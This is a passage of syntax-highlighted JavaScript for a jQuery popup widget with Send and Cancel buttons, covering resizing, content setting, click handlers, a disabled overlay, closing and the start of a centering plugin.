&nbsp; &nbsp; &nbsp; &nbsp; cancel_button_caption<span style="color: #339933;">:</span> <span style="color: #3366CC;">&quot;Cancel&quot;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; _build<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>&nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #003366; font-weight: bold;">var</span> _this <span style="color: #339933;">=</span> <span style="color: #000066; font-weight: bold;">this</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">this</span>.$elem.<span style="color: #660066;">hide</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">this</span>.$elem.<span style="color: #660066;">addClass</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;popup_rect&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">this</span>.$elem.<span style="color: #660066;">css</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>width<span style="color: #339933;">:</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">options</span>.<span style="color: #660066;">width</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; height<span style="color: #339933;">:</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">options</span>.<span style="color: #660066;">height</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; top<span style="color: #339933;">:</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">options</span>.<span style="color: #660066;">top</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; left<span style="color: #339933;">:</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">options</span>.<span style="color: #660066;">left</span><span style="color: #339933;">-</span><span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">options</span>.<span style="color: #660066;">width</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">this</span>.$elem.<span style="color: #660066;">append</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;&lt;div id='popup_content' class='popup_rect_content'&gt;&lt;/div&gt;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">this</span>.$elem.<span style="color: #660066;">append</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;&lt;div class='popup_rect_buttons'&gt;&lt;/div&gt;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">options</span>.<span style="color: #660066;">send_button</span><span style="color: #009900;">&#41;</span> &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">this</span>.$elem.<span style="color: #660066;">find</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;.popup_rect_buttons&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">append</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;&lt;div id='popup_rect_send_button' class='popup_rect_button'&gt;&quot;</span><span style="color: #339933;">+</span><span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">options</span>.<span style="color: #660066;">send_button_caption</span><span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;&lt;/div&gt;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">options</span>.<span style="color: #660066;">cancel_button</span><span style="color: #009900;">&#41;</span> &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">this</span>.$elem.<span style="color: #660066;">find</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;.popup_rect_buttons&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">append</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;&lt;div id='popup_rect_cancel_button' class='popup_rect_button'&gt;&quot;</span><span style="color: #339933;">+</span><span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">options</span>.<span style="color: #660066;">cancel_button_caption</span><span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;&lt;/div&gt;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">this</span>.$elem.<span style="color: #660066;">find</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;.popup_rect_buttons&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">children</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">addClass</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;hand_cursor&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; change_height<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>_h<span style="color: #339933;">,</span> _no_fx<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #003366; font-weight: bold;">var</span> _this <span style="color: #339933;">=</span> <span style="color: #000066; font-weight: bold;">this</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>_no_fx<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">this</span>.$elem.<span style="color: #660066;">height</span><span style="color: #009900;">&#40;</span>_h<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>_this.<span style="color: #660066;">options</span>.<span style="color: #660066;">top</span> <span style="color: #339933;">==</span><span style="color: #CC0000;">0</span> <span style="color: #339933;">&amp;&amp;</span> _this.<span style="color: #660066;">options</span>.<span style="color: #660066;">left</span> <span style="color: #339933;">==</span> <span style="color: #CC0000;">0</span><span style="color: #009900;">&#41;</span> &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; _this.$elem.<span style="color: #660066;">center</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>transition<span style="color: #339933;">:</span> <span style="color: #CC0000;">100</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> &nbsp; <span style="color: #000066; font-weight: bold;">else</span>&nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">this</span>.$elem.<span style="color: #660066;">animate</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; height<span style="color: #339933;">:</span> _h<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span> <span style="color: #CC0000;">500</span><span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>_this.<span style="color: #660066;">options</span>.<span style="color: #660066;">top</span> <span style="color: #339933;">==</span><span style="color: #CC0000;">0</span> <span style="color: #339933;">&amp;&amp;</span> _this.<span style="color: #660066;">options</span>.<span style="color: #660066;">left</span> <span style="color: #339933;">==</span> <span style="color: #CC0000;">0</span><span style="color: #009900;">&#41;</span> &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; _this.$elem.<span style="color: #660066;">center</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>transition<span style="color: #339933;">:</span> <span style="color: #CC0000;">100</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; enable_auto_resize<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>&nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #003366; font-weight: bold;">var</span> _this <span style="color: #339933;">=</span> <span style="color: #000066; font-weight: bold;">this</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">this</span>.$elem.<span style="color: #660066;">find</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;#popup_content&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">resize</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>_event<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; _this.<span style="color: #660066;">change_height</span><span style="color: #009900;">&#40;</span>_event.<span style="color: #660066;">target</span>.<span style="color: #660066;">clientHeight</span> <span style="color: #339933;">+</span> <span style="color: #CC0000;">15</span> <span style="color: #339933;">+</span> _this.$elem.<span style="color: #660066;">find</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;.popup_rect_buttons&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">height</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #003366; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; set_content<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>_content<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">this</span>.$elem.<span style="color: #660066;">find</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;#popup_content&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">html</span><span style="color: #009900;">&#40;</span>_content<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">this</span>.$elem.<span style="color: #660066;">show</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; get_content<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">return</span> <span style="color: #000066; font-weight: bold;">this</span>.$elem.<span style="color: #660066;">find</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;#popup_content&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; add_click_event<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>_button<span style="color: #339933;">,</span> _function<span style="color: #009900;">&#41;</span> &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #003366; font-weight: bold;">var</span> self <span style="color: #339933;">=</span> <span style="color: #000066; font-weight: bold;">this</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">switch</span> <span style="color: #009900;">&#40;</span>_button<span style="color: #009900;">&#41;</span>&nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">case</span> <span style="color: #3366CC;">&quot;send&quot;</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">this</span>.$elem.<span style="color: #660066;">find</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;.popup_rect_buttons&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">find</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;#popup_rect_send_button&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">click</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>self.<span style="color: #660066;">options</span>.<span style="color: #660066;">send_button_disabled</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; _function<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">break</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">case</span> <span style="color: #3366CC;">&quot;cancel&quot;</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">this</span>.$elem.<span style="color: #660066;">find</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;.popup_rect_buttons&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">find</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;#popup_rect_cancel_button&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">click</span><span style="color: #009900;">&#40;</span>_function<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">break</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; show_rect<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">this</span>.$elem.<span style="color: #660066;">show</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">options</span>.<span style="color: #660066;">top</span> <span style="color: #339933;">==</span><span style="color: #CC0000;">0</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">options</span>.<span style="color: #660066;">left</span> <span style="color: #339933;">==</span> <span style="color: #CC0000;">0</span><span style="color: #009900;">&#41;</span> &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">this</span>.$elem.<span style="color: #660066;">center</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>transition<span style="color: #339933;">:</span> <span style="color: #CC0000;">100</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; disbaled<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span> <span style="color: #009900;">&#40;</span>is_disbaled<span style="color: #009900;">&#41;</span>&nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>is_disbaled<span style="color: #009900;">&#41;</span>&nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">this</span>.$elem.<span style="color: #660066;">prepend</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;&lt;div class='popup_rect_disbaled'&gt;&lt;/div&gt;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">this</span>.$elem.<span style="color: #660066;">find</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;.popup_rect_disbaled&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">css</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>width<span style="color: #339933;">:</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">options</span>.<span style="color: #660066;">width</span><span style="color: #339933;">,</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; height<span style="color: #339933;">:</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">options</span>.<span style="color: #660066;">height</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> &nbsp; <span style="color: #000066; font-weight: bold;">else</span>&nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">this</span>.$elem.<span style="color: #660066;">find</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;.popup_rect_disbaled&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">remove</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; send_button_disabled<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>is_disbaled<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">options</span>.<span style="color: #660066;">send_button_disabled</span> <span style="color: #339933;">=</span> is_disbaled<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #003366; font-weight: bold;">var</span> fadeVal <span style="color: #339933;">=</span> is_disbaled <span style="color: #339933;">?</span> <span style="color: #CC0000;">0.5</span> <span style="color: #339933;">:</span> <span style="color: #CC0000;">1</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">this</span>.$elem.<span style="color: #660066;">find</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;.popup_rect_buttons&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">find</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;#popup_rect_send_button&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">fadeTo</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'slow'</span><span style="color: #339933;">,</span> fadeVal<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; <span style="color: #000066;">close</span><span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>_this<span style="color: #009900;">&#41;</span>&nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; _this <span style="color: #339933;">=</span> _this <span style="color: #339933;">?</span> _this <span style="color: #339933;">:</span> <span style="color: #000066; font-weight: bold;">this</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; _this.$elem.<span style="color: #660066;">fadeOut</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'fast'</span><span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $<span style="color: #009900;">&#40;</span>_this<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span><br />
<br />
$.<span style="color: #660066;">fn</span>.<span style="color: #660066;">extend</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; center<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span> <span style="color: #009900;">&#40;</span>options<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #003366; font-weight: bold;">var</span> options <span style="color: #339933;">=</span> &nbsp;$.<span style="color: #660066;">extend</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span> <span style="color: #006600; font-style: italic;">// Default values</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; inside<span style="color: #339933;">:</span>window<span style="color: #339933;">,</span> <span style="color: #006600; font-style: italic;">// element, center into window</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; transition<span style="color: #339933;">:</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">,</span> <span style="color: #006600; font-style: italic;">// millisecond, transition time</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; minX<span style="color: #339933;">:</span><span style="color: #CC0000;">0</span><span style="color: #339933;">,</span> <span style="color: #006600; font-style: italic;">// pixel, minimum left element value</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; minY<span style="color: #339933;">:</span><span style="color: #CC0000;">0</span><span style="color: #339933;">,</span> <span style="color: #006600; font-style: italic;">// pixel, minimum top element value</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; withScrolling<span style="color: #339933;">:</span><span style="color: #003366; font-weight: bold;">true</span><span style="color: #339933;">,</span> <span style="color: #006600; font-style: italic;">// booleen, take care of the scrollbar (scrollTop)</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; vertical<span style="color: #339933;">:</span><span style="color: #003366; font-weight: bold;">true</span><span style="color: #339933;">,</span> <span style="color: #006600; font-style: italic;">// booleen, center vertical</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; horizontal<span style="color: #339933;">:</span><span style="color: #003366; font-weight: bold;">true</span> <span style="color: #006600; font-style: italic;">// booleen, center horizontal</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span> options<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000066; font-weight: bold;">return</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">each</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #003366; font-weight: bold;">var</span> props <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span>position<span style="color: #339933;">:</span><span style="color: #3366CC;">'absolute'</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>options.<span style="color: #660066;">vertical</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
